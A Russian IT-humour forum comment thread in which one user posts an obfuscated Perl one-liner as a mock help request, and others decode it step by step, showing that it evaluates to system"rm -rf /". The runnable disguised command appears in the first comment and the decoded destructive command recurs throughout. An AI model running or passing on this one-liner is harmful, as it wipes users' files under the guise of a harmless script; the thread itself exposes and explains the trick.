Программирование на Perl

Программирование на Perl

IT-юмор

5.6K постов52.5K подписчика

Добавить пост

Правила сообщества

Не публикуем посты:
1) с большим количеством мата
2) с просьбами о помощи
3) не относящиеся к IT-юмору

Вы смотрите срез комментариев. Показать все
28
DELETED
Автор поста оценил этот комментарий
помогите, пожалуйста исправить такую программу:

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
- не печатает
раскрыть ветку (6)
21
Автор поста оценил этот комментарий

rm -rf /?

раскрыть ветку (5)
8
DELETED
Автор поста оценил этот комментарий

как это билеберда превращается в rm -rf /?

раскрыть ветку (3)
17
Автор поста оценил этот комментарий

Произведём первую итерацию и запишем поданную команду следующим образом:

$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;

y; -/:-@[-`{-};`-{/" -; ;

s;;$_;see


Первая конструкция анализирует переменную $? — код возврата предыдущей команды.


Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» — s;;=]=>%-{<-|}<&|`{;.


Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{

(первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или труба '|', для неясности в этой конструкции используется ограничитель ';').



Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам.

В левой части указано четыре диапазона символов, в правой — один.

Если раскрыть эти диапазоны, получим следующее соответствие:


!"#$%&'()*+,-./:;<=>?@[\]^_`{|}


`abcdefghijklmnopqrstuvwxyz{/" -


В результате содержимое $_ принимает вид system"rm -rf /".


Третья же команда дважды (как инструктирует флаг ee) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду —

и пытается заменить пустую строку в аккумуляторе на результат сего вычисления, но автору результат замены уже не интересен.

lurk

раскрыть ветку (2)
26
Автор поста оценил этот комментарий
!"#$%&'()*+,-./:;<=>?@[\]^_`{|}
`abcdefghijklmnopqrstuvwxyz{/" -
В результате содержимое $_ принимает вид system"rm -rf /".
Иллюстрация к комментарию
раскрыть ветку (1)
4
Автор поста оценил этот комментарий

Как из букв Ж П О и А, составить слово счастье

[=] - [s]

[]] - [y]

[>] - [t]

[%] - [e]

[-] - [m]

[{] - ["]

[<] - [r]

[|] - [ ]

[}] - [-]

[&] - [f]

[`] - [/]


=]=>%-{<-|}<&|`{

system"rm -rf /"

В нотпадике проще сопоставить

Иллюстрация к комментарию
4
DELETED
Автор поста оценил этот комментарий
Вы смотрите срез комментариев. Чтобы написать комментарий, перейдите к общему списку